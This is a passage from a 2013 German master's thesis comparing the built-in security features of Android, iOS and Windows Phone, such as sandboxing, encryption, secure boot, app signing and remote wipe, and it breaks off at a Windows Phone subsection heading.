Masterarbeit

Christian Linde

Sicherheit mobiler Systeme am Beispiel von Android, iOS und Windows Phone

Institut	Fachhochschule Schmalkalden
Fachbereich	Informatik
Referent	Prof. Dr. Beyer
Korreferent	Herr Dipl.-Math. Otto
Semester	4
Matr.-Nr.	280242

10.10.2013

Inhaltsverzeichnis

Abkürzungsverzeichnis

ASCI ..... application-specific integrated circuit
ASLR ..... Address Space Layout Randomization
BSI ..... Bundesamt für Sicherheit in der Informationstechnik
CBC ..... Cipher-block chaining
CLR ..... Common Language Runtime
DEP ..... Data Execution Prevention
DVM ..... Dalvik Virtual Machine
ERC ..... Elevated Rights Chamber
ESSIV ..... Encrypted salt-sector initialization vector
GPG ..... GNU Privacy Guard
iDEP ..... iOS Developer Enterprise Program
IPC ..... Interprocess Communication
JVM ..... Java Virtual Machiene
LLB ..... Low-Leve Bootloader
LPC ..... Least Privileged Chamber
MDM ..... Mobile Device Management
NX ..... Never eXecute
PGP ..... Pretty Good Privacy
RNG ..... random number generator
S/MIME ..... Secure Multipurpose Internet Mail Extensions
SDK ..... Software Development Kit
SRC ..... Standard Rights Chamber
TCP ..... Trusted Computing Base
TPM ..... Trusted Platform Module
UID ..... Unique-ID
USSD ..... Unstructured Supplementary Service Data

XN ..... Execute Never

Tabellenverzeichnis

Listings

Danksagung

Mein Dank gebührt in erster Linie Prof. Dr. Beyer, der die Bearbeitung dieser Thematik ermöglicht hat sowie seiner sehr gute Betreuung während der Erstellung dieser Arbeit.
Weiterhin möchte ich B. Sc. Volker Zeihs für anregende Gedanken bei der Bearbeitung diese Themas danken.

Ein für mich sehr wichtiger Dank gilt den Korrektoren B. Ed. Kristin Kufs und Dipl.-Wirtschaftsinf. (FH) Beatrice Florat.

Ein weiterer Dank gebührt Herr Dipl.-Math. Otto als Korreferent und für die schnelle Reaktion bei Problemen oder Fragen.

Abschließend möchte ich noch allen weiteren Personen danken, die mir die Erstellung dieser Arbeit ermöglicht haben.

1 Einleitung

Die Welt der mobilen Kommunikation wird immer größer. Es wird bereitwillig alles von jedem überall mit allen geteilt. Meist wissen wir nicht, wo unsere privaten Daten noch gespeichert sind und wozu sie verwendet werden. Welche Sicherheiten gewähren uns die mobilen Systeme? Da die mobilen Endgeräte wie Smartphone, Tablet und co. oft überall dabei sind, steigt die Gefahr, dass sie im öffentlichen Raum verloren gehen. Einerseits ist dies natürlich ärgerlich, da die Kosten mobiler Endgeräte im Schnitte zwischen 200 und 300 Euro betragen. Andererseits stellt sich jedoch die Frage, was mit den gespeicherten privaten Daten geschieht, die häufig sogar mehr Wert besitzen als die Hardware [DCT10, vgl. Seite 2] [Hoo11, vgl. Seite 160f]? In persönlichen Gesprächen bei der Erstellung dieser Arbeit, fiel oftmals die Überzeugung vieler Benutzer auf, dass Sicherheit keineswegs ein Problem für sie darstelle. Ein typischer Satz wie: „Was wollen Kriminelle schon mit meinen Daten anfangen?“ ist in diesem Zusammenhang häufiger gefallen.

Daher sollen kurz ein paar Beispielfälle erläutert werden, dass jeder wichtige Daten besitzt. Auf einem mobilen Endgerät ist beispielsweise die Verlockung sehr hoch, Passwörter zu speichern, anstatt sie immer wieder neu einzugeben. Dies führt dazu, dass der Finder bei Verlust des Gerätes sofortigen Zugriff auf all unsere verwendeten privaten Daten und Dienste besitzt. Der Fall der noch am wenigsten schaden anrichtet könnte sein, dass Facebook-Daten geändert werden. Die Problematik verschärft sich jedoch mit der Durchführung von Zahlungsverfahren mit Hilfe mobiler Endgeräte, die z.B. von der Deutschen Bahn oder Amazon angeboten und zunehmend für Benutzer alltäglich werden. Was ist also wenn der Finder nun hierauf zugreifen kann? Dann besitzt er die Möglichkeit, auf Kosten des Besitzers Zahlungen durchführen. Ein nächstes Problem stellt Onlinebanking dar, dass durch spezielle Apps der Banken ermöglicht wird. Durch die notwendige Hinterlegung des Zugangspasswortes kommt dem Finder eine Flut an persönlichen Daten zu, welche

vom aktuelle Kontostand bis hin zur Kontobewegung reicht. Der Nutzer muss also auch einen Beitrag leisten, um die Sicherheit seiner Daten zu erhöhen. Auch Kevin Mitnick erkannte dies: „Die Organisationen stecken Millionen von Dollars in Firewalls und Sicherheitssysteme und verschwenden ihr Geld, da keine dieser Maßnahmen das schwächste Glied der Sicherheitskette berücksichtigt: Die Anwender und Systemadministratoren.“ [Webs, vgl. Zitat Kevin Mitnick].

Wie wichtig unsere persönlichen Daten sind und wie gefährdet wir sind, wird meistens erst klar, wenn eine persönliche Auseinandersetzung mit der Thematik stattfindet. Die Bedrohungen gehen von einfachem Daten- oder Gelddiebstahl über infizierte Apps, bis hin zum Diebstahl der Bankdaten oder der eigenen Identität. Ziel dieser Arbeit ist eine Analyse der mobile Betriebssystemen in Hinsicht auf die Sicherheit, die sie dem Endbenutzer bereitstellen. Weiterhin soll analysiert werden, welche großen Sicherheitsprobleme existieren und wie ein Endbenutzer durch sein eigenes Zutun und Verhalten zu mehr Sicherheit kommt. Abschließend soll ein Versuch gestartet werden, der prüft, wie sicher Android-Gerät in der Praxis sind. Hierzu werden verschiedene Szenarien kreiert.

2 Analyse

In der Analyse werden mobile Betriebssysteme sowie allgemeine Sicherheitsangriffe auf diese Systeme und auf private Daten der Benutzer untersucht. Weiterhin werden sicherheitsgewährleistende Maßnahmen erörtert.

2.1 Betriebssystem Analyse in Hinsicht ihrer Sicherheitskonzepte

Nachstehend erfolgt eine Analyse der verbreitetsten mobilen Betriebssysteme für Privatanwender. Es sollen die Grundfunktionen von Android, iPhone und Windows Phone in Hinsicht der Sicherheit für den Endanwender ermittelt werden. Die Analysekriterien wurden vom Autor nach einer eingehenden Betrachtung der Betriebssysteme und aus Sicht des Endanwenders festgelegt. Als Kriterium wurde die Sicherheit der privaten Daten in Hinsicht auf Verschlüsselung und Schutz vor internem Zugriff durch andere Apps als wichtig erachtet. Hiermit ist gemeint, dass zum Beispiel eine Instant Messaging App nicht auf die persönlichen Daten der Bank-App zugreifen darf, um so an die Kontodaten oder gar Zugangspasswörter zu gelangen. Dieses Kriterium hat nach Ansicht des Autors die höchste Bedeutung für den Endanwender aufgrund eines drohenden Datenmissbrauchs durch Identitätsdiebstahl oder Abbuchungen auf dem eigenen Konto. Aus diesem Kriterium der Sicherheit der privaten Daten lassen sich weitere Kriterien ableiten, wie die Sicherheit der Passwörter auf dem Endgerät. Die Sicherheit des Endgerätes kann vor physikalischem Zugriff durch Dritte zum Beispiel mit Passwortschutz, Finger Gesten oder Gesichtserkennung geschützt werden. Weiterhin gewinnt nach Meinung des Autor die komplette Systemverschlüsselung des Endgerätes immer mehr an Bedeutung, vor allem da es sich in den meisten Fällen permanent im öffentlichen Raum bewegt und immer die

Gefahr des Verlustes präsent ist. Ein weiteres wichtiges Kriterium sollte der Fernzugriff auf das Endgerät sein. Dies ist von Bedeutung, da es dem Endnutzer ermöglicht, bei Verlust das Endgerät zu orten oder aus der „Fern“ zu löschen (wipe).

2.1.1 Android

Bei der Analyse der Softwareeigenschaften von Android wird, in erster Linie das Basisbetriebssystem, das von Google zur Verfügung gestellt wird betrachtet, sofern keine anderen Angaben gemacht werden.

Die Hardware

Vom Hersteller Go-Trust gibt es eine Entwicklung, die es ermöglicht mit einer microSD eine Hardwareverschlüsselung auf Android-Geräte nachträglich zu integrieren [Webt, vgl.]. Die Variante KingCall bietet eine End-zu-End Hardwaresprachverschlüsselung. KingCall bietet die Verfahren AES-128/256, RSA 2048 und SHA-256 [Webx, vgl.]
Eine weitere Möglichkeit bietet der Hersteller Samsung mit seinen Galaxy Modellen. Ab Version 2 befindet sich eine Hardwareverschlüsselungseinheit, die das AES-256 Verfahren verwendet, in den Endgeräten [Webaf, vgl. Seite 3] [Webak, vgl.].

Sicherheitsfunktionen

Das Android-Betriebssystem beinhaltet Sicherheitsfunktionen, die so gestaltet sind, dass sie dem Entwickler viele sicherheitsrelevante Entscheidungen abnehmen. Die Anwendungssandbox (dalvikVM) ist einer dieser Mechanismen. Sie trennt die Anwendung und ihre Daten von anderen auf dem Gerät befindlichen Anwendungen. Ein weitere Funktion ist das Anwendungsframework. Diese enthält Sicherheitsmechanismen wie Kryptographie, Zugriffsrechte und secure Interprocess Communication (IPC). Android hat Technologien wie: Address Space Layout Randomization (ASLR) [Webb, vgl.], Never eXecute (NX) [Webac, vgl.], ProPolice (Stack-Smashing Protector) [Webg, vgl.], safe_iop, OpenBSD dlmalloc, OpenBSD calloc und Linux

mmap_min_addr implementiert, damit das Risiko von fehlerhaften Speicherzugriffen minimiert wird. Um den Zugriff auf Sensible Benutzerdaten zu minimieren, verfügt das Betriebssystem über die Möglichkeit, das komplette Dateisystem zu verschlüsseln. Die Kontrolle der Zugriffsrechte auf das System und die Benutzerdaten obliegt dem Nutzer selbst. Damit dies zufriedenstellend funktionieren kann, muss jede Anwendung definieren, welche Rechte sie zum Funktionieren benötigt [Webag, vgl. „Security Tips“].

Sicherheit von Daten

Dateien, die im Internenspeicher abgelegt werden, sind standardmäßig nur von der Applikation (App) verwendbar die sie erstellt hat. Android empfiehlt nicht wie das unter Linux üblich ist, Daten über IPC auszutauschen, sondern einen Content Provider zu verwenden. Ein Content Provider verwaltet den Zugriff auf einen strukturierten Satz von Daten. Er kapselt die Daten und stellt Mechanismen zur Verfügung, die die Datensicherheit gewährleisten. Damit sensible Daten sicher auf dem mobilen System gespeichert werden können, besteht die Möglichkeit, diese mit einem Key zu verschlüsseln. Dieser Key sollte für die App nicht direkt zugreifbar sein, sondern über einen KeyStore verwaltet werden. Grund dafür ist, dass der KeyStore eine Funktion hat, um den Key durch ein Benutzerpassword zusätzlich zu sichern [Webj, vgl.] [Webag, vgl. „Using internal storage“].
Das Speichern von Dateien auf einem externen Medium, wie einer SD-Card, hat den Nachteil, dass die Daten für alle les- und schreibbar sind. Dieser Speicher kann entfernt und von anderen Anwendungen modifiziert werden. Es sollten keine ausführbaren Dateien oder dynamischer Inhalt, der nicht kryptografisch verifiziert und signiert ist, extern gespeichert werden [Webag, vgl. „Using external storage“]. Das von Android verwendete Sandbox-Prinzip sorgt für die explizite Datenteilung bei Anwendungen, damit andere darauf zugreifen dürfen. Erreicht wird dies dadurch, dass definiert wird, welche Rechte über die normale Sandbox hinaus benötigt werden, wie zum Beispiel der Zugriff auf die Hardware Kamera [Webag, vgl. „Using Permissions“].

Verschlüsselung

Android bietet neben der Datenisolierung noch die Funktion einer kompletten Dateisystemverschlüsselung [Webag, vgl. „Using Cryptography“]. Diese Verschlüsselung ist seit Android 3.0 verfügbar. Die volle Dateisystemverschlüsselung basiert bei Android auf dm-crypt und ist eine Kernelfunktion, die auf Blockebene arbeitet. In der ersten Version wird die Verschlüsselung mit dem AES-128 Algorithmus sowie Cipher-block chaining (CBC) und Encrypted salt-sector initialization vector (ESSIV) mit SHA256 verwendet [Webab, vgl.]. CBC ist ein Verfahren, bei dem der Klartextblock vor dem Verschlüsseln mit einem vorher erzeugten Geheimtextblock mit XOR verknüpft wird [Webh, vgl.]. ESSIV erzeugt Initialisierungsvektoren für Blockverschlüsselungen, die aus einer Kombination der Sektornummer und dem Hash des Schlüssels generiert werden. Diese Kombination macht die IV unberechenbar [Webn, vgl. „ESSIV“].

App-Sicherheit

Wie zuvor schon angesprochen, hat eine App Standardmäßig keinen Zugriff auf andere Apps oder das Betriebssystem. Dies bedeutet, dass keinerlei Lese- oder Schreibzugriff auf die privaten Daten des Benutzers, Daten andere Apps oder Systemzugriffe wie Netzwerkzugriffe oder die Kamerabilder möglich ist. Damit eine App Zugriff auf andere Daten bekommt, müssen diese Explizit geteilt werden [Webad, vgl. „Security Architecture“]. Genauso wie eine App standardmäßig keinerlei Rechte besitzt, diese müssen ebenfalls explizit durch die „AndroidManifest.xml“ mit dem <uses-permission> Tag mitgeteilt werden [Webad, vgl. „Using Permissions“]. Das Android Betriebssystem startet nur zertifizierte Anwendungen. Jede App ist durch einen privaten Zertifizierungsschlüssel des Entwicklers signiert. Dieser Schlüssel muss nicht durch eine zertifizierte Autorität signiert sein. Es ist üblich, dass selbst erstellte Zertifikate zum signieren verwendet werden. [Webad, vgl. „Application Signing“][Gun12, vgl. Seite 11]. Jede App bekommt zur Installationszeit eine eindeutige UID, womit ein Verwechslung der Apps ausgeschlossen wird und eine zusätzliche Sicherheit gewährleistet werden soll [Webad, vgl. „User IDs and File Access“].

Physikalische Sicherheit

Eine Passwort-, Pattern- (Muster) oder Pinsperre ist nur eine einfache Sicherheitshörde, die nicht technikversierten Angreifern den Zugriff erschwert. Andrew Hoog ist der Meinung, dass die Patternsperren sicherer sind als Passwort- oder Pinabfragen, da es für einen Angreifer schwieriger ist, das Pattern zu erraten oder durch persönliche Informationen über den Besitzer darauf zu schließen [Hoo11, vgl. Seite 178f]. Seit Android 4.0 gibt es die Möglichkeit Endgerät über eine Gesichtserkennung zu entsperren [Webu, vgl.].

Fernwartung

Nach Installation der App „Device Policy“ von Google ist es durch Einsatz der Admin Konsole möglich, einen Remote Wipe, also eine entfernte Löschung des Endgerätes durchzuführen. Ab der Android Version 2.2 ist es außerdem möglich, zusätzlich nur bestimmte Daten zu löschen, wie Benutzerkonten oder Google-App-Daten. Dies ist allerdings nur möglich, sofern ein Google-Konto für Unternehmen (Business), Ausbildung (Education) oder Regierung (Government) vorhanden ist [Webae, vgl.]. Als Besitzer eines Google-Kontos ohne diese Berechtigungen besteht nur die Möglichkeit, über das Webinterface des Google Play Stores Apps auf seinen registrierten Android Endgeräten zu installieren.
Seit August 2013 stellt Google auch dem nicht Business Kunden die Möglichkeit zu Verfügung, das Endgerät aus der Ferne zu warten. Google bietet hierbei die Optionen der Geräteortung, Löschung und Sperrung. Des Weiteren wird die Funktion geboten, das Endgerät anzurufen, um es klingeln zu lassen oder ihm eine Nachricht zu schicken. Die Verwaltung wird über die Android Geräte-Manager Website `www.google.com/android/devicemanager` ermöglicht [Poi13, vgl.].

Zusammenfassung zu den Kriterien

In Tabelle 2.1 sind alle Kriterien, die das Android Betriebssystem standardmäßig unterstützt, zusammengefasst.

Tabelle 2.1: Kriterienzusammenfassung für Android (Quelle: Privat)

Kriterien	Feinziele	Verfahren
Sicherheit privater Daten	Verschlüsselung Interner Zugriff	dm-crypt DVM, ASLR
Sicherheit der Passwörter		KeyStore
Physikalischer Zugriff (Entsperrung)	Passwortschutz Fingergesten Gesichtserkennung	Ja Ja Android 4.0
Systemverschlüsselung		full - filesystem encryption(dm-crypt)
Fernzugriff	Ortung wipe	Geräte-Manager(AGM) Device Policy App, AGM
App-Schutz		Signatur

2.1.2 iOS

Die iOS Geräte wurden entwickelt, um dem Benutzer einen Höchstgrad an Sicherheit zu gewährleisten, ohne ihn dabei mit dem Thema zu belasten. Sie wollen die Sicherheit so transparent wie möglich gestalten. Viele Sicherheitsfunktionen sind von Anfang an aktiviert. Einige spezielle Funktionen sind veränderbar, wie zum Beispiel die Verschlüsselung des Endgerätes. Das nicht alle Sicherheitsfunktionen vom Benutzer geändert werden können, hat den Vorteil, dass der Benutzer die Funktion nicht aus Versehen deaktivieren kann [Weba, vgl. Seite 3].

Die Hardware

Jedes iOS Gerät besitzt eine Hardwareverschlüsselungseinheit, die den AES-256 Algorithmus unterstützt. Mit ihr werden alle Daten auf dem Endgerät verschlüsselt [Webw, vgl.].

Sicheres Booten

Bei jedem Schritt im Boot-Vorgang, wird durch kryptographische Verfahren sichergestellt, dass eine Signierung durch Apple gewährleistet ist. Dieses Vorgehen schließt unter anderem den Bootloader, Kernel , Kernel-Erweiterungen sowie die baseband firmware ein. Beim Einschalten des Endgerätes wird der Code aus einem ROM, also einem nur lesbarem Speicher, ausgeführt. Dieser Speicher wird beim Herstellungsprozess einmalig beschrieben, somit ist eine hohe Vertrauenswürdigkeit gewährleistet. In diesem ROM befindet sich der Root CA Public key von Apple. Dieser wird genutzt, um den Low-Leve Bootloader (LLB) auf die Signatur von Apple zu überprüfen. Wenn der LLB erfolgreich verifiziert wurde, verifiziert und startet dieser den Bootloader der nächsten Ebene. Dieser verifiziert wiederum den iOS Kernel und startet ihn. Diese Abfolge stellt sicher, dass keine nicht von Apple signierten Elemente ausgeführt werden. Wenn einer der Schritte im Boot-Prozess fehlschlägt, wird der Boot-Vorgang sofort gestoppt [Weba, vgl. Seite 4].

App-Entwicklung

Anwendungen, die von Drittanbietern entwickelt wurden, müssen mit einem von Apple ausgestelltem Zertifikat signiert sein. Die Signierung der Apps stellt sicher,

dass keine nicht vertrauenswürdigen Code-Elemente ausgeführt werden, die das System beschädigen oder kompromittieren könnten. Damit eine App installiert werden kann, muss der Entwickler dieser App bei Apple registriert sein und dem iOS Entwickler Programm beitreten. Bevor Apple einem Entwickler ein Zertifikat gewährt, prüft es die Echtheit bzw. Existenz der reellen Person. Durch das von Apple ausgestellte Zertifikat hat der Entwickler die Möglichkeit, seine App zu signieren und sie in den Apple App Store hinzuzufügen. Für Unternehmen gibt es die Möglichkeit, unternehmensinterne Apps zu entwickeln. Dafür müssen sie an dem „iOS Developer Enterprise Program“ (iDEP) teilnehmen. Wenn ein Unternehmen Mitglied im iDEP ist, bekommt es ein „Provisioning Profile“. Dieses ermöglicht, dass nur Benutzer die dieses Profil installiert haben, berechtigt sind die App herunter zu laden und zu installieren [Weba, vgl. Seite 5]. iOS erlaubt es nicht, das unsignierte Apps, zum Beispiel von einer Internetseite, oder nicht vertrauenswürdiger Code ausgeführt wird. Es wird zur Laufzeit einer App eine Signaturkontrolle über ausführbaren „memory Pages“ erstellt. Dies soll verhindern, dass die App nach der Installation manipuliert wurde [Weba, vgl. Seite 6].

Laufzeitsicherheit

Alle Anwendungen von Drittanbietern werden in einer Sanbox ausgeführt. Jede App hat ihr eigenes, einzigartiges „home“-Verzeichnis, dieses wird zufällig bei der Installation der App zugewiesen. Wenn eine App Daten einer anderen App benötigt, dann geht dies nicht direkt, sondern über die API oder Service-Schnittstellen von iOS. Systemdatein und Resourcen sind ebenfalls gekapselt und vor Zugriffen geschützt. Die Mehrheit der Apps in iOS laufen unter einem nicht privilegiertem Nutzer „mobile“. Die ganze Betriebssystempartition ist nur lesbar. Ob eine App von Drittanbietern Zugriff auf Benutzerdaten oder Dienste wie iCloud hat, wird durch das Rechtesystem kontrolliert. Berechtigungen werden als Schlüsselwertpaar durch die App signiert, dadurch wir eine Authentifizierung wie bei einer Unix-User-ID ermöglicht. „Adress space layout randomization“ (ASLR) schützt vor exploits auf den Speicher. Es sorgt dafür, das zur Laufzeit eine zufällige Stelle im Speicher für die App verwendet wird. Weiterhin wird auch der Bereich für „shared libarys“ bei jedem Systemstart zufällig vergeben. Die Entwicklungsumgebung („Xcode“) von iOS übersetzt die Drittanbieter-Apps standardmäßig mit angeschaltetem ASLR. Die Funktion

Speicherseiten als nicht ausführbar zu kennzeichnen (Execute Never (XN)), kommt zur Anwendung [Weba, vgl. Seite 6].

Verschlüsselung

Das Problem bei kryptographischen Verfahren auf mobilen Endgeräten ist, dass sie sehr komplex und somit stromintensiv sind. Dies bedeutet, das der Akku unter einer hohen Belastung steht. Jedes iOS Endgerät hat eine geeignete AES 256 Hardwarekryptografieeinheit im DMA zwischen dem Flash-Speicher und dem Systemhauptspeicher, hierdurch wird die Dateiverschlüsselung sehr effizient. Der SHA-1 Algorithmus ist ebenfalls in der Hardware implementiert. Jedes Apple Endgerät besitzt eine Unique-ID (UID). Diese ist einzigartig und somit immer von Hardware zu Hardware unterschiedlich. Die UID wird zum verschlüsseln der Systemdaten verwendet. Durch ihre Einzigartigkeit wird sichergestellt, dass auch bei physischen verschieben des Speichers in ein anderes Endgerät die verschlüsselten Daten nicht gelesen werden können. Für andere kryptografische Schlüssel wird der „random number generator“ (RNG) verwendet. Dieses Verfahren basiert auf dem Yarrow Algorithmus [Weba, vgl. Seite 7].

Passcode

Der Passcode ist ein vom Benutzer definiertes Passwort, das beim Einschalten des Endgerätes abgefragt wird [Webv, vgl.]. Durch das Setzen des Passcodes wird automatisch der Datenschutz aktiviert. Der Benutzer hat die Möglichkeit, durch eine Option zu aktivieren, dass das iOS Endgerät nach zehnmaliger falsch Eingabe des Passcodes bereinigt wird (wiped) und somit alle privaten Daten gelöscht werden [Weba, vgl. Seite 9]. Dateien, die erstellt werden, werden von der App die sie erstellt, zu einer Klasse zugeordnet. Die grundlegenden Klassen und Strategien sind: Complete Protection (ganzheitlicher Schutz), Protected Unless Open, Protected Until First User Authentication und No Protection [Weba, vgl. Seite 10].
Complete Protection bedeutet, sobald das Endgerät gesperrt wird, wird der Entschlüsselungsschlüssel gelöscht. Alle Daten die zu dieser Klasse gehören, sind dann unlesbar, bis der Passcode wieder eingegeben wird. Verwendet wird diese Klasse von der Mail-App, um die Nachrichten und Anhänge zu schützen. Weiterhin werden

geöffnete Bilder und Standortdaten in dieser Klasse gespeichert [Weba, vgl. Seite 10].

Protected Unless Open (Geschützt wenn nicht geöffnet) ist für Daten, die im Hintergrund heruntergeladen werden müssen, also auch wenn das Endgerät gesperrt ist. Zum Beispiel e-Mail anhänge. Hierfür wird eine “asymmetric elliptic curve cryptography“ (ECDH over Curve25519) verwendet. Unter Verwendung des herkömmlichen „per-file“ Schlüssels wir zum Datenschutz ein öffentlicher und privater Schlüssel generiert. Das geteilte Geheimnis wird unter Verwendung des privaten und des Protected Unless Open öffentlichen Klassenschlüssels verschlüsselt. Der private Schlüssel ist mit dem persönlichen Passwort und der UID geschützt. Der per-file key ist mit dem Hash des geteilten Geheimnisses eingewickelt und in den Metadaten neben dem öffentlichen Schlüssel gespeichert. Der dazugehörige private Schlüssel wird vom Speicher gelöscht. Sobald die Datei geschlossen wird, wird der per-file key ebenfalls vom Speicher gelöscht. Wenn die Datei wieder geöffnet werden soll, wird das geteilte Geheimnis aus dem Protected Unless Open privaten Klassenschlüssel und dem flüchtigen öffentlichen Dateischlüssel neu erstellt. Sein Hash wird verwendet, um den per-file Schlüssel zu entpacken und dieser wiederum, um die Datei zu entschlüsseln [Weba, vgl. Seite 10].

In der Protected Until First User Authentication (Geschützt bis zur ersten Benutzer authentifikation) Klasse funktioniert alles wie in der Complete Protection. Die einzige Veränderung ist hierbei, dass der entschlüsselte Klassenschlüssel nicht vom Speicher gelöscht wird, wenn das Gerät gesperrt wird [Weba, vgl. Seite 10].

Die No Protection Klasse ist nur mit der UID geschützt und wird im löschbaren Speicher gehalten. Dies ist die Standardklasse für alle Dateien, die keinem anderweitigen Datenschutz unterliegen. Seit dem alle Schlüssel, die zum Entschlüsseln der Daten in dieser Klasse benötigt werden, auf dem Endgerät gespeichert sind, bietet die Entschlüsselung den Nutzen der schnellen, entfernten Löschung der Daten des Endgerätes(remote wipe). Wenn eine Datei keiner Datenschutzklasse zugeteilt ist, ist sie nur in der entschlüsselten (Klartext Form) gespeichert. Alle Daten auf dem iOS werden in dieser Form gespeichert. Das iOS Software Development Kit (SDK) ermöglicht den Entwicklern durch eine umfangreiche API eine einfache Einbindung der Datensicherheit und ermöglicht so den höchstmöglichen Schutz in der Sicherheit der eigenen App [Weba, vgl. Seite 10]

Schlüsselbund Datensicherheit (Keychain Data Protection)

Apps benötigen oft eine Möglichkeit, um sensible Daten sicher zu speichern. In iOS ist die Keychain in einer SQLite Datenbank auf dem Dateisystem abgelegt. Die SQLite ist mit der No Protection Klasse geschützt. Die Sicherheit ist durch eine andere Schlüssel-Hierarchie gewährleistet, die parallel zur Schlüssel-Hierarchie, die zum Schutz der Dateien verwendet wird, bereitgestellt ist [Weba, vgl. Seite 10]. Keychain-Einträge können nur zwischen Apps desselben Entwicklers ausgetauscht werden. Dies erhöht den Schutz vor fremden Zugriffen [Weba, vgl. Seite 11].

Fernwartung

iOS Endgeräte können aus der Ferne durch einen Administrator oder Benutzer gelöscht werden. Sofortige entfernte Löschung entsorgt die Blockspeicherentschlüsselungsschlüssel sicher vom Speicher, alle Daten werden unleserlich gemacht. Dieses Löschen kann durch Mobile Device Management (MDM), Exchange oder iCloud ausgelöst werden. Der Benutzer kann diese Löschung auch über das Einstellungsmenü vornehmen oder einstellen, dass sie bei zu häufiger Passworteingabe durchgeführt wird [Weba, vgl. Seite 18].

Zusammenfassung zu den Kriterien

In Tabelle 2.2 sind alle Kriterien, die das iOS Betriebssystem standardmäßig unterstützt, zusammengefasst.

Tabelle 2.2: Kriterienzusammenfassung für iOS (Quelle: Privat)

Kriterien	Feinziele	Verfahren
Sicherheit privater Daten	Verschlüsselung Interner Zugriff	Hardware AES-256 VM, ASLR, XN
Sicherheit der Passwörter		Keychain
Physikalischer Zugriff (Entsperrung)	Passwortschutz Fingergesten Gesichtserkennung	Passcode
Systemverschlüsselung		Hardware AES-256
Fernzugriff	Ortung wipe	Ja Remote wipe
App-Schutz		Signierung, Nur verifizierte Developer

2.1.3 Windows Phone

Die Hardware

Microsoft verwendet das Verfahren BitLocker zur Verschlüsselung. Dieses Verfahren setzt standardmäßig das Trusted Platform Module (TPM) voraus. Das TPM ist ein Mikrochip der kryptografische Informationen beinhaltet. Diese können zum Beispiel sein: Verschlüsselungsschlüssel oder gespeicherte Informationen. Das BitLocker- System kann auch ohne TPM eingesetzt werden. Dies bedeutet, dass in dem Endgerät nicht zwangsläufig der TPM-Chip enthalten sein muss [Webf, vgl.].

Entwicklung

Anwendungen (App's) werden unter Windows mit Silverlight entwickelt. Es basiert auf dem .NET Framework von Microsoft. Als Programmiersprache wird C# verwendet [Webar, vgl.]. Microsoft sichert Windows-Code durch Zugriffsrechte und Beweise ab. Ein Beispiel hierfür ist das Löschen einer Datei. Der angemeldete Nutzer braucht hierfür die nötigen Rechte, damit das Löschprogramm die Befugnis dazu hat [Mauro, vgl.]. Durch die Beweise und das Prüfen bestimmter Eigenschaften im Rahmen der Sicherheitsrichtlinien des Systems soll die Echtheit einer Assembly[1] sichergestellt werden [Mauro, vgl.]. Die .NET Anwendung basiert auf Assemblies. Sie sind Komponenten, die eine Anwendung referenzieren und benutzen. Ein wichtige Aufgabe der Assemblies ist die Versionierung. Eine Assemblie ist in der Lage, mehrere Versionen zu beinhalten. Somit ist es möglich, dass zum Beispiel Anwendung A die Version 1.0 verwendet und gleichzeitig Anwendung B Version 2.0.[Wilro, vgl.]
Das Common Language Runtime (CLR) System kontrolliert den Sicherheitskontext auf Benutzerebene, bei Bedarf auch für jede Aktion [Mauro, vgl.]. Das CLR-System ist ein Teil des .NET Frameworks. Es erleichtert die Entwicklungsphase [Webi, vgl.]. Das .NET Framework bietet einige Sicherheitsfunktionen wie: Kryptografie, Sicherheitsverwaltung der Laufzeit selbst sowie Authentifizierung und Autorisierung der Benutzer [Mauro, vgl.].
Die Sicherheitskonzepte des .NET Frameworks bauen auf Isolation und Zugriffssteuerung auf Benutzerebene (d.h. die Anwendung erhält die Rechte des Benutzers)

[1]Ist eine Zusammenfassung zu ausführbaren Programmen von übersetzen Programmklassen (ähnlich JAR-Datei von Java) [Webaa, vgl. „Assemblies“].

sowie das Sandkasten-Ausführungsmodell, auch Sandboxing genannt (d.h. die Anwendung kann nur auf bestimmte Dateien und Dienste zugreifen) [Webz, vgl. „Einführung“]. Das .NET Framework stellt eine Basissicherheit dadurch her, dass es den Code mit Hilfe der CLR-Regeln überprüft. Es wird damit eine Typsicherheit sowie ein ordnungsgemäßes Verhalten sichergestellt. Weiterhin wird erreicht, dass eine Ausführung nur an bekannten Stellen (Methoden) stattfinden kann und ein willkürliches „Reinspringen“ an bestimmte Codestellen verhindert wird. Dies wird unter anderem verwendet, um manchen Kopierschutz zu umgehen [Webz, vgl. „Einführung“]. Das Framework erkennt die häufigsten Programmierfehler wie: Pufferüberläufe, willkürliches Lesen und Schreiben sowie nicht initialisierten Speicher [Webz, vgl. „Einführung“]. Die Endbenutzer haben somit den Vorteil, dass die Anwendung, die sie ausführen, überprüft wird, bevor sie sie starten. Entwickler werden dadurch unterstützt, dass eventuell unsaubere Programmierung sowie Fehler aufgezeigt werden, wodurch ein späteres, lästiges Suchen dieser Fehler vermieden und Zeit gespart wird [Webz, vgl. „Einführung“]. Diese Unterstützung funktioniert nur, wenn der Code durch das .NET Framework verwaltet wird. Nicht verwalteter Code wird durch das CLR auch zugelassen. Dieser hat dann allerdings keinen Sicherheitsschutz. Zudem werden bestimmte Rechte benötigt, um diesen Code auszuführen. Eine strenge Sicherheitsrichtlinie stellt sicher, dass die Verteilung dieser Berechtigungen sehr strengen Kontrollen unterliegen [Webz, vgl. „Einführung“]. 0

Sicheres Booten

Das Verfahren „Trusted Boot“ wird verwendet, um die Firmware zu validieren, bevor sie vom Betriebssystem geladen wird. Alle zum Booten benötigten Komponenten besitzen eine Signatur, die durch kryptografische Verfahren im pre-UEFI Durchlauf geprüft werden. Laut Microsoft sind Trusted Boot und Code-Signierung die primären Wege, die helfen, die Integrität eines Betriebssystems sicherzustellen. Es sind aber auch nicht die einzigen Sicherheitsmechanismen um Malware vorzubeugen [Webaq, vgl. Seite 1f].

Beweisbasierte Sicherheit

Die Sicherheitsrichtlinien sind codespezifisch und bezogen auf Informationen zum Code [Webz, vgl. „Beweisbasierte Sicherheit“].

Das Sicherheitsrichtliniensystem bezieht in seine Entscheidung die Zone aus der die Assembly stammt (Internet, Intranet, Lokaler Computer) mit ein. Die Assembly verfügt zu dem über einen starken Namen, dieser ist eine Verschlüsselte ID und wir vom Autor der Assembly vorgegeben. Mit dieser ID ist es möglich die Assembly eindeutig zu identifizieren und sie so vor unzulässiger Veränderung zu schützen [Webz, vgl. „Beweisbasierte Sicherheit“].

Richtliniengesteuertes Vertrauensmodell anhand von Codebeweisen

